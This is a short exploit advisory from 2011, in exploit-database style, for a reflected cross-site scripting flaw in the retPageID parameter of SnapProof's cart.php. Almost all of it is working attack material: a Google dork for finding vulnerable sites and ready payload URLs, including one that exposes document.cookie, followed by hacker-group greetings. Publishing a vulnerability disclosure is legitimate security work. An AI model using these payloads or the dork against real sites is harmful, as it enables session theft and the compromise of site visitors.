##########################################################
# Exploit Title: SnapProof (cart.php) Cross Site Scripting
# Google Dork: inurl:"Created and powered by SnapProof" 
# home : www.D99Y.com
# Date: 1/3/2011 
# Author: Difficult 511
# Software Link: http://www.snapproof.com/
##########################################################
#
# file : 
#
# cart.php
#
# exploit  : 
#
# http://localhost/cart.php?retPageID= [  XSS  ]
#  
# http://localhost/cart.php?retPageID=<script>alert(12345)</script>
#
# http://localhost/cart.php?retPageID=<script>alert(document.cookie)</script>
#
##########################################################

Greetz : 

NassRawI and all members D99Y.com

Enjoy :)